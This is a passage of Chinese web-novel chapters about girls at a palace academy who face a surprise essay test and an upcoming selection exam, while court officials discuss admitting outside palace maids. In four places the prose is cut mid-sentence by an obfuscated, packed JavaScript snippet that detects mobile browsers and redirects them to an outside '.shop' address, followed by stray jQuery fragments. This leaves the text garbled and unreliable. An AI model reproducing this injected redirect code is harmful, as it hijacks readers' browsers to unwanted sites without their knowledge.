“那不是要死了。”尹慎徽明明年纪比窦率容小半岁,此刻却温柔如长姊一般环抱住哭泣不停的妹妹,轻抚背脊,声稳如磐,“你是来月事了。” “月事?”窦率容抽噎着表示疑惑。 尹慎徽只好将月经的知识简要告知,最后又带着窦率容找到洪嬷嬷,洪嬷嬷听罢只是笑,这次她的笑容在二人看来,皆是真正发自内心的柔和,而后她带走窦率容,给她拿了月事的用物,又预备好了缓解疼痛的汤食与冲饮,好好安慰一番,这才完美解决了窦率容这“将死之人”的突袭。 或许这次女孩间的亲密分享,以及窦率容以为遗言般毫无保留分享了短暂的生平和睿思宫高墙内不许议论的、关于家人的禁忌,尹慎徽与她真正成为了挚交,并如金兰,同行同读。 此时回想起这啼笑皆非的经历,尹慎徽感慨自己还是不擅长安慰人,更何况是青春期少女,但她好在每次窦率容发作,她都抓得住问题的核心:“这诗虽记在《文选》里,但也不算什么传世名篇,好些人读过也忘了,或者压根没翻过这页赋,可何师范却记得那么清楚,甚至还能逐句背诵,你不觉得奇怪吗?” 窦率容听了这话忽然就停下啜泣,望向尹慎徽的眼里除了泪光,还有大悟之明:“你的意思是……” 启发式教育在通情达理方面果然比高压服从要有建树,尹慎徽想说的是,何师范为了教育你,特意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054889|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去翻了这篇来背下,这份责任的魄力,以及做人家老师就要拿的出直理正词的说服力,实在让人钦佩,我们既要感谢师范的费心,又要学习师范为了阐明德教,教化学生,不惜深稽博考来做文章的能力和心力。 “你的意思是,何师范也爱看这些艳冶之词,所以才能如数家珍背诵如流?所以我不该将私爱授人以柄,要学习何师范,当面子曰,背后才读自己喜欢的书,慎之又慎,是为慎独?” 尹慎徽震撼之余还有一丝丝崩溃,她似乎理解许多初中老师面对思路清奇的青春期少男少女的无奈了。 “慎独是这么解释的吗?孔子晚上真不会托梦抽你大嘴巴子吗?” “那是什么意思啊……”窦率容看情形不妙,飞快挪出一小段安全距离,“总不能是我以后真的不能读了吧……” 尹慎徽幽幽叹气,算了,堵不如疏,况且这类诗词曲赋今后在她们所读的书中必然是层出不穷的,早看几年也不至于如临大敌,大不了自己往后多多安不忘危就是了。 “读是可以,但别让人知道了,何师范是好意,尽管言辞是峻切了些,却是为你担忧。她从来赏罚分明,上次她还夸你文章写得有些瑰中存正的意思,措辞很是使人眼前一亮。虽说不能太过偏读,但细细想来,如果不是咱们私下读了些四书外的书,也不能全然应付如今各个师范的课业。” 窦率容心性豁达,即便在课上挨了一顿狠辣的批评,却也能分得清什么是就事论事,她低着头,玩弄自己腰牌下断了一半的穗子:“我并不怪何师范责骂。只是那样说,实在难为情……” “好啦,说出来就好多了。” “那我下午要不要去找何师范再认个错?” 尹慎徽想起了昨天听刘学正说起的事,朝她摇摇头:“今日师范大概都忙,昨日听说今天是省试开考的日子,尚书内省和外朝皆要待命。” “果然考试乃是国之上下头号要事。”窦率容的笑容又化作一抹愁忧,“不过我们也没功夫替外面的读书人操心,咱们的裁试也要排定日子了。虽说在睿思宫读书是辛苦,可我还是想留在这啊……” 熙平三年,新帝继位后第一次科举春闱正在帝京引动轩然之波。而睿思宫的宫生,也要面对半年后的重要考选。 “那裁试是不是和外头男人考得乡试一样?要写文章,过了才算正式的书生,没过就不算有功名,要滚回家里头去?” 睿思宫外的小库房,王宝遒劲有力的手臂压下裁刀刀把,一后摞纸张应声切开整齐的两份。 尹慎徽取出两叠,重新分好,送回到铡刀下,王宝再次铡断后,纸张就变成了平常学生能在桌上使用的尺寸。 “差不多,没有乡试考出来的头衔,连芝麻官都排不上号。”尹慎徽用言简意赅的方式解释这考试的重要性,“我们如果没考上,也是连睿思宫的宫女都做不成,就要出宫去了。” 王宝抱着胳膊喝了一大口碗里的水,也不知是惋惜还是觉得太过严苛,不住啧嘴摇头。 自从正康十二年末,尹慎徽提及王宝,刚巧睿思宫确实缺人管理这个满是杂务的外库,加上此处活计相对宫内,确实粗重,王宝因素来能干为人称道,洪嬷嬷也有所耳闻,便调她来此,还做对钥宫女,专管外库一应琐事。因是给尚书内省办差,月银增了不止一星半点,王宝也因和尹慎徽熟识说得上话,故而二人皆是欣喜万分,三年来相伴,也算真正的忘年交。 此时趁着取纸,二人不免闲话一番,自外面最热议的省试,到睿思宫最让宫生头疼的裁试,又讲了些王宝家里的现状。 到尹慎徽清点了数目要走时,王宝却忽然叫住她,似有犹豫,却还是开口:“妹子,我想了想,还是得和你知会一嘴,就是不知道……你还记着刘公公吗?” 15.第十四章 第十四章 “庶杂院的掌事太监刘公公?” 这厮尹慎徽化成灰都能记得。 “就是那个老阉狗。”王宝一拍大腿,人跳起来半尺高,“如今他可是擦脚布缝孝帽子,一布登天了!年初,内侍省上上下下缺人手,他不知孝敬了哪路神仙,竟然打庶杂院飞了出来,前两天我去瑞德门给咱们宫里头领新晋的明烛,正巧看见他五眼儿朝天的带着几个小太监替内侍省办差,好些人见了他都眯着眼叫刘内侍,我寻思不大对劲,问了瑞德门朝贡内库的老姐姐才知道,原来这刘公公大名叫刘乖儿,早年跟的干爹失了势,才去到犄角旮旯当管事,庶杂院当差的太监都没啥出路,谁知他如今成了内侍省的内侍从领监,给掌事打下手,一下子就威风起来,我寻思此人不是个好鸟,又和你有过节,别让他知道你如今过得舒坦上进,不然就他那芝麻豆粒儿大的心眼,指不定能憋出什么坏来。” 尚书内省和内侍省事务无有交叠,加之宫中人事职权最忌混杂,刘公公再怎么高升,也升不到她头上来,不过王宝久经世事且一片真心好意,尹慎徽亦知凡事就怕有个意外,先在心里存个疑影算有备无患,眼下要担心的还另有其事,于是诚然笑道:“谢谢王姐姐,这话我一定往心里去,遇见他我先躲着。” “是,你是个心里有数的孩子,我不慌这个,就是要你知道个大概齐,免得一时遇着了惹出平白事端。眼下也就是裁试最重要,你莫担心有的没的,虽说听德欣德敬讲,这群姑娘里头你书读得最是顶呱呱,但裁试可是最要紧的,不能大意了,影响一辈子的前程。” 言及此处,王宝重新坐下,似笑似叹:“这真是好日子了,要是我妹子能有你这本事,又读书又做官的前程,我是不要父母给她嫁出去,多好的日子在眼前呢!” “姐姐也是,咱们好日子都在前头呢!”尹慎徽笑道。 二人告别之后,尹慎徽将纸按照以往惯例分作两份,一份留在懋青堂,一份送至次殿配殿内平素女官们等待轮岗值班和教学任务的长阁。 春日好风,柔而不峭,几株桧木繁茂春庭,尹慎徽走过三进与二进之间的仪门,正见长阁门敞窗开,内里坐着的人也一览无余,正是尚书内省的正四品内侍郎杨大人,也是教导懋青堂宫生们经课、主督月测的师范。 与她对坐的却不是睿思宫人,而是一位须发皆白的老者,精瘦无比,官袍在他身上犹如套上了晾衣的竹竿。老人右手三指搭在杨大人置于桌上的手腕间,眉头忽锁忽舒,时不时嗯上一声,时不时又摇头晃脑。 这场景其实并不陌生,杨大人身虚体弱,据说早年生过一场极重的病,几乎要了她的性命,好在人是活下来了,只是身体自此始终不大灵光,隔三差五有太医来访诊视,药更是从未断过。 宫生除了课业,也时常为懋青堂庶务走动,替师范跑腿也不是没有过,故而尹慎徽见过好几次杨大人看病的情形。不过,几个月前,尹慎徽奉命来取窗课的批改,正看见太医和杨内尚一如今日诊视,但那时却是一位年过半百的胖太医,说话慢悠悠笑眯眯,还叮嘱尹慎徽不要为了学业一味熬夜,年轻人保护眼睛很重要。 “宫生见过杨大人。”尹慎徽先行学生对老师之礼,再拜见面孔很生的老太医,“见过太医。” “这位是太医院的史太医。”杨大人轻咳几声,含笑为尹慎徽介绍后指了指远处空着的方桌,“纸你放在那里,分成三份,用镇纸压好。喝杯茶再回去吧。” 杨大人从来温柔和缓,即便有人答不出她的题,却也是最多收获一个无奈的笑容和谆谆劝学的教诲。 “见过史太医。”尹慎徽问安后按照吩咐去整理自己送来的新纸。 “杨侍郎就是操心太过,这每天事无巨细,怎好修养呢?庄太医和下官都说过,侍郎的病是肺脉标实本虚,气邪而侵心,养心即是养肺气,如今冬日已过,季候当好,正是当静心修养的好时日,切莫再操心忧劳了。像这种琐事,多吩咐吩咐下面人去,自己呢,还是多照看照看自己身子吧!” 史老太医虽然尊称杨大人的官职,可语气里不免有一丝对她不好好养病的薄责,颇有医生对病人恨铁不成钢的气势,杨大人也只是愧然一笑道:“劳烦太医费心了。” “小姑娘,你过来。”史太医确实在使唤人方面很不客气,“老夫眼睛不大灵光,你来执笔记一下,写一份抄一份,让你们杨大人啊寝居内贴一份,这个屋子里案头上再放一份,不然她满心都是俗务,对自己的身体是不会上心的,快去拿笔。” 杨大人的笑容无奈至极,却也不敢忤逆主治医师的意见,颔首示意尹慎徽照办,于是新纸刚送来就派上用场,史太医语速快,人又有点絮叨,半天才说完各种调养的要点,又念叨起服药的注意事项。 尹慎徽提前体验了一次“御前秉笔,随录圣言”的女官限定活动,听写完毕,双手奉上,史太医一边捋胡子一边点头看赞:“不错不错,小宫生看着年纪不大,字却老练,都是杨大人教导有方呀!”说罢点头看向尹慎徽,眼里也略微有了丝赞许的笑意,“多大年纪了?” “回太医,学生再过两个月足十四岁。” “不可限量,今后可得跟着你们杨大人好好读书。” “她是这批宫生里头课业最用心的一个孩子,能得史太医赞许,也是勤勉所致,这两年我其实也不怎么管带宫生,多是御前的事就要劳神,都怪身体不济,辛苦了晚辈们。” 被人当面夸自己的学生,持重如杨大人也是有些克制的欣喜出现在病容憔悴的脸上。 史太医人老话多,有些絮叨,听到此处,不免抬头:“对了。说到十四岁,今日省试听说青州考过来的解元也是刚满十四岁,诶呦,真是自古英雄出少年,我十四岁的时候,药材辨不清楚,还要师父骂过打过才长记性,真是比不得比不得。” “太医青囊妙手连太后都称赞不已,若是尊师知晓,是必然要替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二日考诗,其实对于诗的考察早有争议,许多本朝过去的名臣都认为诗不当单做一天考察,但也有人认为,凝练诗句以发其心何尝不是一种对文字掌握程度的考核,于是这项考试也就一直力排众议沿用至今,只是如果文章写得好,诗差一些也无伤大雅。 第三日是明经解辨,主考对四书五经等儒家经典的基础掌握,要求考生背诵成章且明辨解读;这都是成型的题,也就是尹慎徽上辈子考试中所谓死读书即可不该丢分之题,全看基本功深厚与否,用功和用心是否到位。 尹慎徽深感一丝危机,她们目前所写的文章,大多是文书格式的尺牍,谈不上有什么含金量,更没有难度,只是措辞空间略有释放的格式写作。至于读书进度,更是五经才解《诗》、《书》、《礼》,最重要的《春秋》三传明日才开课。更别提其余子集,皆是她自己课余闲暇寻来阅读,而史传一类,全无涉猎。 人家十四岁已经操翰成章开始考省试了,尹慎徽即刻到来的十四岁还刚开始背诵“隐桓庄闵、僖文宣成、襄昭定哀”…… 虽然裁试只考一门文章,经论都是日常考测,但不能因为自己关在睿思宫,就安定了心去坐井观天,只比周围,不看世事能人。这是不可取的鸵鸟心态。 卷,是要卷的,但卷是有方法的卷,不能熬日子,下白功夫。 尹慎徽打定主意,一是要科学合理的“知己知彼”,紧跟外朝读书进步的风向,伺机而动;二嘛,说到底,还是要自己明白,功夫怎么下才算真正用力在读书科举的刀刃上。 今日起,她假装自己也是个要参加国家正规科举考试的考生,开始为今后的人生大计时刻准备着。 16.第十五章 第十五章 “来来来,这次是真的有‘兹事体大’的事要来了!” 窦率容冲进住处的小院,脸上的表情既惊恐又兴奋。 “哪那么多‘兹事体大’,上次你也是这么说,还说是‘头顶上的大事’,结果呢?原来是宫缮司来换学堂坏了的瓦片。” 尹慎徽听闻声音自屋内和室友一道并出,正听见同学萧越显说话。 “那……你就说是不是‘头顶上的大事’吧!”窦率容不服,绝不接受旁人质疑她第一耳报神的能力。 萧越显也不是嫌弃她,同辈学生里,她年纪最大,寻常爱托大,却也从来真心实意,听了这辩解只是无奈的笑:“好好好,那你说,这回又是什么大事?你最好快点,一会儿洪嬷嬷来查人,看见咱们没回床上,准又要一齐挨罚。” 窦率容起初不肯说,要尹慎徽和其余人把所有同学都叫出来,直到小院里人一个不差,月夜星辉洒在每一张熟悉的倦怠的脸上,她才开口:“我刚才去交今日晚课咱们写的尺牍,碰巧见了赵内尚自太后处回来,听见她和杨师范说,明日要给咱们临时加上一考!” 突击考试的消息在任何时代任何学生群体中都犹如重磅火雷弹,大家慌了手脚,神魂几乎要被一句话抽干净,叫天天不应,叫地地不灵,只有尹慎徽在一片嚎啕中问出了最关键的话:“为什么要加考?” “就是说啊!旬测刚结束,下次季查也还有一个多月。” 有人赶紧附和。 “况且之前刘学正不是和咱们说过,今年本就是外头的科举之年,尚书内省辅佐太后理政,忙得连平素教导咱们都腾不出人手来,好几次都不得不自修,怎么忽然又有功夫加个考试出来?” “就是,万事总得有个缘由。” 本就被即将到来的裁试逼得腹热肠慌的宫生们都无措发问。 “这……我没听到原因啊……”窦率容也知信息量有限,只能听着什么说什么,“说到裁试,我关上门离开的时候,隐约听见赵内尚说什么为了裁试,八成是提前给我们操练操练?” 这理由很难说得通。 尹慎徽略加沉吟,觉得一定是有什么她们不知道的理由,让赵时敏赵内尚不得不测试一番学生的水平,到底是赵内尚对自己心里没底还是对她们没底,目前还没有太多信息,但可以判断的是,能让眼下如此忙碌的尚书内省分出人手,甚至是尚书和侍郎来做这个考核,那目的一定非常重要。 “既然说要考,那躲也躲不掉,好歹不是正式的裁试提前,我看啊,既来之则安之吧……”萧越显自己也是一副懊恼的模样,却努力安抚众人,她个子高远远看见有灯影,语气立时化作焦灼的一阵烟,“洪嬷嬷来了!快撤!” 小院里的人影烟消云散,只留一地月光和院外五月春虫鸣叫不息。 不管窦率容是不是总喜欢谎报军情夸大其实,这次她的消息没有出错。 第二日一早,晨读时分,进来懋青堂的却不是刘学正,而是赵时敏赵内尚。 平常就算是旬测,也大多由杨侍郎杨大人负责,今日顶头上司亲自莅临指导,重宫生唇焦舌干地问安后,听到了最不想听到的话。 “今日晌午前的课都免了,改加一次小测。由我来出题阅卷。”赵内尚于上首端坐,声音还是那般清亮,“刘学正昨日报知我你们的课业进度如何,《春秋》才开几日,且只在读《左传》,未曾涉猎《毂梁》与《公羊》二传。五经当中,你们也只学了《诗》《礼》与《尚书》,那咱们的题目,就从这里出。” 她的话倒是不疾不徐,可下面坐着的学生都蜡黄了脸,一个个本就因这消息惴惴得一夜没睡好,今日噩梦成真,只能认命。 “你们倒也不用担忧,这小考不过是我来测测你们读书进益如何,不作数,睿思宫有睿思宫的圭臬,你们的去留还是由一个半月后的裁试决定。所以本次尽可能写出你们觉得最满意的文章,不必太长,也不必太穿凿,只敞开了展示便好。但可不能没完没了的写,切记,好文章不是磨出来的。所以也按照裁试的规矩,焚香计时,你们要时刻掐算时辰,别耽误了落笔抄录,就算你妙笔生花,我也是不会看草拟的。” 尹慎徽倒不害怕考试,她只觉得天底下的领导都是一个样子,让你不必多想,不必多心,有什么讲什么,但偏偏就是这种公文或者谈话,最是要小心谨慎。 好在目前自己还只是学生,应付校长大概不至于用上这么多心眼。 但是应付考试,自然是要全力以赴的。 赵时敏赵内尚示意一旁的刘学正,刘学正颔首回礼,展开手中一直捧着的纸卷,上面写着四个力透纸背的正楷大字:诗礼传家。 “就以此为题吧。” 赵内尚说完便不再言语,刘学正将裁好的纸张一一发送至每人桌上,提醒宫生务必注意平阙抬格,而后也噤声回到赵内尚身后侧站定。 尹慎徽觉得,这个题目有一点黑色幽默。 在座各位哪个不是没有了姓氏和家族,要是经历过足够世事,倒是可以阐发一番关于诗礼传家的看法,问题是一群十四五岁的小女孩,自小被关进宫里,见过几个书香门第,又听说了哪些民间诗书教化?这不是…… 等等。 尹慎徽磨墨的手忽然停下。 从小被关在宫里……以宫为家…… 这未尝不是一个好思路。 不知道外面的家什么样,这宫里白日黑夜的规矩和道理,她们却是清楚的不能再清楚。 尹慎徽对考题原本的怀疑变作了对出题人赵内尚的叹服,心想不愧是太后的大秘书,除了工作的业务水平,这带新的能力也是一等一的。 墨磨好了,腹稿也基本拟毕,尹慎徽稍加揣摩推敲,先写了个开头,无声阅读后比较满意,便稍加措辞后以此为纲,继续书写。 待焚香燃尽,她写完并抄录完毕,周围的同学也大多完成。窦率容似乎还在和最后几个字较劲,满头都是汗,直到刘学正三声击掌,笔才算抖着撂回笔搁上,人也长出一口气。 其他人也大多如此。 尹慎徽忽然意识到,这是她们第一次计时的考试,之前的旬试,也没怎么写过太长的文章,只是有人督促,尽管可以写完,况且更多也是口头的背诵和问答论辩,今日如此,也算是好事,毕竟一下子裁试上来,许多人或许还不适应。 但从大家的状态来看,几乎所有人都答完了题,只是或许这类命题的文章她们还不能答得得心应手,人人自有惴惴之态。 如此,她也不好就跳出来说我觉得自己的立意很新颖,那简直是有病,况且一个小考,怎么至于如此洋洋自得? 赵内尚就在学生面前,开始一张张阅卷。这让本就紧张的宫生近乎窒息,窦率容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066598|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用一个视死如归的眼神偷偷示意尹慎徽自己目前的态度,尹慎徽报以温柔的微笑,算作目前唯一能用表情做到的安慰。 赵内尚的表情是分辨不出波澜的,也不知她是不是看到了自己的文章。只是其中一篇,她看了许久,看过后不知为何,望了望窗外,似又被晌午闯入懋青堂的骄阳晃了眼,收回后凝神许久。 “我都已经看过了。” 不知为何,尹慎徽觉得赵内尚说这句话时明显平静中带着一丝松弛,比之前平静中的沉着更添莫名的从容。 “在座诸位皆有进益,个别人需注意措辞及句读,以及书课还需下功夫。” 她并未特别夸赞,也未有批评,在短暂的停顿后对着一双双还不敢表现太过欢欣的眼睛说道:“这几日省试开考,我想你们也有所耳闻,其中有十四岁的少年才俊,也有十七八的凤雏麟子,与之相比,你们的年纪也不能算是垂髫总角了。今后要倍加进取,不得有懈,尤其是文章笔墨,这是尚书内省女官一辈子的功课,不能考过了就束之高阁。” 尹慎徽没想到在简略到近乎什么也没说的考试点评后,竟还有这么多劝学道理,按理说,这些师范们嘴皮子都磨破了翻过来调过去的叮嘱,赵内尚是否也是太过紧张了? “六月二十,是裁试的日子,算一算也只剩一个月有余,和外面士子所考乡试区别不大,我想刘学正已然告知过,诸位好好准备。” 她的话言简意赅,几句交待了考试的紧迫,听得在座宫生心下沉重且惶然,但赵时敏没有时间再安抚这些孩子了,她让刘学正继续安排今日的课业,自己则拿着所有人的文章,走回睿思宫正殿的西厢。 “内尚大人。” 杨达敬与何惟明,以及四五名尚书内省女官皆在此间等候,待赵时敏坐定,也让众人坐下:“考过了,还算可嘉。有如此能耐,又有出类拔萃的真才,我也好去和太后复命。去之前和诸位通气通气,我们的孩子,也不是那样不堪。” 说着,她自一摞文章里抖出一张,递给侧下手第一个杨达敬:“你们看看这篇。” “这是……尹慎徽的文章?” 杨达敬轻咳几声后,眼神却亮了又亮。 何惟明听到这个名字,也挨着凑前去看,其他人自是不再坐等,也都聚成一圈,同阅同览。 “诗礼传家,其实也是有些超过她们当前所学,但尹慎徽能自家衍国,由个人德性修养的调和与传承,阐论至宫中风范及之寻常百姓的饮食起居,实在颇有见地。”赵时敏喝过茶,在下属的不住夸赞中,也给出了自己的评价。 杨达敬似是非常激动,又咳了几声,直道好文,又说:“她那句‘信,国之宝也,民之所庇也’是引自《左传》里的《僖公》,她们还没学到这里,想来是她自己课后下了功夫,提前通读详解过。且自这句引出的‘《诗》《礼》所传之信,于家,正一门之身,于国,徛一朝之基’虽用词稚拙,但辞论密实,且言序得当,于她这个年纪,已是十分之精妙。” 何惟明看到尹慎徽的字已如此境地,她虽日常关注所有学生课业,知道她在书课上下了极大功夫,但此时再看赵内尚含笑向自己点头,肯定了她的教学,心中亦是感慨至眼眶微酸。 “所以,咱们也不必担心这些新鲜的花样。”赵时敏站起身,“有这样的学生这样的文章,谁来参加、主持裁试都不必过忧了。” 17.第十六章 第十六章 加课的消息袭来,宫生居处一片哀声。 “诶呀呀,看给孩子们吓得。”洪嬷嬷笑得温柔,却让人发瘆,“若是坚持不住了,可要和嬷嬷说,千万别累坏了身子。” 宫生们立即闭嘴。 看到大家接受自己公布的好消息,洪嬷嬷笑得更柔和了,告知众人,六月将至,白日她们在读书时,自己和德欣、德敬已经为大家换好了入夏要用的薄被、纱帐,哪个屋里夜间需要添香,备用的也都充足。 众人齐道谢嬷嬷关照,洪嬷嬷笑着直摆手,道:“你们好好读书便是谢我,可不要输给外宫的野路子哦!” 其实洪嬷嬷不是什么大恶人,甚至她对宫生的关心可谓无微不至。两年前窦率容生了伤寒,病势急恐,洪嬷嬷为了好好照料她,甚至将其移至自己房间,从喂药到处置秽物,全由她经手,窦率容这才保住一条小命,也是自此大家才知晓,洪嬷嬷并非真的残酷,在做好自己工作的同时,她也是希望所照顾的学生能顺利晋级并且健康安泰。 再加上这两年,睿思宫的宫生女孩们到了来月事的年龄,她们没有母亲或女性长辈在身边安慰导引,许多人都像当初窦率容一般惶惑惊怖,皆是多亏洪嬷嬷的悉心照拂和陪伴,才度过这一剧变之期,于是对她虽仍有惧怕,但更多却是敬畏与信任了。 但这不代表洪嬷嬷不会恐吓她们。 这种恐吓带有明显的矛盾同一性,就像洪嬷嬷的温柔和可怖,同时存在于一个人的身上,也同时存在于宫生们求学的生活中。 洪嬷嬷又表示,新的有清凉作用的澡豆以及更换的薄制寝衣都已经准备妥当,明天起,她们也就没有那么多时间来领取,今天都带来,一并发下去。 宫生自觉排队领取,队尾,尹慎徽在思量许久后决定和窦率容说出心里的疑虑:“今日突然考测,赵内尚似是也有苦衷的样子。” 窦率容食指轻敲手中的木盆,压低声音:“这事儿不怪你怀疑,就是奇怪。不是说,尚书内省根本忙不过来,何师范已经空了咱们两堂课了,每次都是在太后那轮值重责在身,要是加课,怎么加?就让我们自己闷头读书不成?” 尽管她压低声音,身后一位的同学还是听见了,也加入进来:“就是缺人啊,昨日我去取批改好的《春秋》窗课,屋子里只有德敬姐姐在洒扫,人全都在正殿忙着呢,听说是省试的结果出来,殿试的名单要录下、誊抄、发布给通进司衙门,以及各新晋进士的籍贯公文,忙都忙不过来,竟然还有时间给我们加课。” 听了这话,尹慎徽心头微微震动,隐约有了个不大好的预感:“缺人的话,确实是个好理由……现下我们还得有个五六年才能真正开始从文书做起,为师范们分忧,但如若考试裁下去人太多,又谈何补缺?虽然师范们一直说尚书内省是宁缺毋滥,但如若只是裁选考试呢?会不会因为缺乏人手,有人和我们一起考试,赵内尚才如临大敌?” “你的意思是……会有其他人来睿思宫,和我们一起考试读书?”萧越显从前面回头,不知听了多久。 “萧姐姐,宫里还有其他可以读书的地方么?”尹慎徽作为全班最小的学生,对全班年纪最长的萧越显一直以姐姐称呼。 这个称呼让萧越显十分受用,当即认真解答道:“但如果有了,宫女读书的话,尚宫六局就有学堂。这也是自然,我和率容都是尚宫六局出来的宫女,她来得晚,只读了几天蒙课,我却是上了小半年。宫中往来,哪处没有留痕文书?要真是斗大字不认半个,替管事宫女跑腿都轮不上。所以尚宫六局一直有蒙课可读,上课的都是六局有资历学识的年长宫女,教授书课与三百千千,至于往后要学什么,我就不知道了。” 窦率容连连点头,表示萧越显说得对:“但是六局的书斋不大一个屋,师范就一个,也不是天天有书读,更不必起早贪黑,不似我们这般与外头书院似的埋头苦读。” “毕竟也不用像咱们一样将来做官。”身后的女生道。 这就更奇怪了。 尹慎徽沉吟不语,难道会有人妄图拿一个全然不如尚书内省附属小学的尚宫六局附属小学来一并考试? “万一,我是说万一……”尹慎徽在思考时不断摸着自己下巴,“尚宫六局也比照着咱们开了全日制课程,哦,就是我们这样每天进读,不做旁的事情,有专门的师范坐堂指点,那她们也未必不能一考,且如果都考过了裁试,也能一起来读书进学,这样我们这批宫生一旦通过内省试,可以开始着手尚书内省的事务,人手也多了起来……” “但这不合规矩。”萧越显知道尹慎徽说得有道理,可是也没有先例证明,“尚书内省不与外通,要是早能考过来,就该入门试和我们一道,或者再等一两年,就有下一批学生来,那时候再考也不迟。尊贵如赵内尚大人,也不能随意破坏规矩,再者说……” 她说到这里却顿住了,是啊,赵内尚不能破坏规矩,但比赵内尚权力更大的人呢? 况且有了权宜之计的借口,尚书内省确实缺人缺得厉害,一时不免有些破例,且也要考试,又不是纯粹破坏选拔规则的内推,怎么算是冒天下之大不韪? 能这么做的人选,女孩们都知道,内宫里只有两个,一个年仅八岁,据说开蒙早,基础好,但还不至于能做这个主,剩下一个嘛…… 大家都说不出话来,分发也正好到萧越显出,德欣给一份份列好,几个人沉默着领毕,都回到了自己的住处床上。 她们都感觉到有一种自己无法抗衡的力量,在暗中、在无法触碰的地方,不可预知地左右着她们的命运。 同一时间,颐泰宫。 因将近六月,渐有溽热之气自窗外袭来,殿内焚香又添了一份磨做细细粉雪的瑞龙脑,烧尽自有清凉醒神之功效,本是午后专用,此时却仍然弥漫在入夜的宫室,久久不散。 “哀家本以为爱卿你抵触此举,故那日一言不发,却不知今日如此痛快应允。” 孟太后换了一身舒适的淡密合色宫装,钗环尽褪,发鬓松弛,相比仍旧官袍在身的赵时敏显得轻松很多,言谈语气也更柔缓。 “回太后。尚书内省人微臣寡,青黄不接乃是事实,蒙太后垂爱,能有尚宫六局出色后生添缺补空,一并裁试,一来破格提拔、广纳贤才,二来也是督促不才宫生们励精更始,着意进取,早日为内省分忧。” 赵时敏虽是受了赐座,也仍然只虚坐三分之一,说话时更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070190|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是态度恭敬。 “是啊,破格提拔。”孟太后感慨一般轻叹,“当年哀家初为太后,哀绝之际,急需有人在禁内搭一把手,也是破格提拔了时敏你来做内尚书,这才算带着陛下坐稳了这个位置。否则以你的年纪和资历,也是不合规矩的。可见有时规矩要守,有时也要权变。你说是也不是?” “太后英明。当变则变。” “哀家知道你紧着自己的学生疼,这是自然的,哀家没有做过人家师范,却是做母亲的,皇帝哀家也是疼着看着,生怕有一点闪失,可是总要放他去读书,去前朝和大臣们论议国政,不然江山如何后继?‘知不足然后能自反也’的道理哀家也多少懂得一些。” “太后说得是,教学相长,这也是微臣所应进之学。” 孟瑶光双手抚掌置于身前:“好,那就定下裁试的日子,尚宫六局也准备了有些日子,试题倒不用犯难,你们哪一边出,好像都似有偏袒之嫌疑,哀家可以请本次省试的主持戴卿家再忧劳费心一次,为求公允,那日也请他在做个定夺,如何?” 赵时敏起身行礼:“全凭太后定夺,只是宫生们学问不精,文章落笔,恐使戴大人嗤笑。” “别的不说,我对你们几个内省的师范还是很信任的,戴卿家和其他朝臣一直对赵爱卿的学识称赞有加,相信你们教导出的孩子,必然不会让外朝嗤笑。” …… 这一觉睡得并不踏实,尹慎徽起床早些,蹑手蹑脚收拾好衣装,洗漱一番,也顾不上吃些什么垫垫肚子,即刻便去借书。 加课之后,时间必然不够充裕,慢悠悠翻书览读之后借阅近乎奢想,昨夜难以入眠,她先列好了要用的书单,又带上窦率容列出的那几本,一并先来借出。毕竟窦率容这个时辰是必然无法和床铺做告别的。 睿思宫有两个书楼,真正的大书楼不适合目前懋青堂宫生的学习进度,在堂侧偏处,有个单独给她们辟出的小书楼,麻雀虽小五脏俱全,该有的书应有尽有,经史子集一样不缺,除了正在教授的课程,也有不少补足之书可供借阅。 尹慎徽是这的常客,书的摆放位置烂熟于心。大概是昨日德欣又换了防虫防潮的芸草香囊,小书楼里满盈柔和的馥郁,扫清晨起头脑里残余的迟睡沌气,尹慎徽按照从前的习惯,从侧面确定架子数列,往内切步,却见甲庚、甲辛两架之间早已有人。 “宫生见过赵内尚。不知内尚大人在此,冒失唐突,还请内尚大人恕罪。”她赶忙行礼,低头时却惊讶发现,赵时敏赵内尚脚边有一不大的布袋,里面的书一半已挪至外头,剩下一半在赵内尚手里,她正往书架上放。 原来一直负责这个小书库,给学生们放置更换适合当前教学进度、符合阅读能力书籍的不是别人,正是尚书内省的最高官员、内廷宰相。 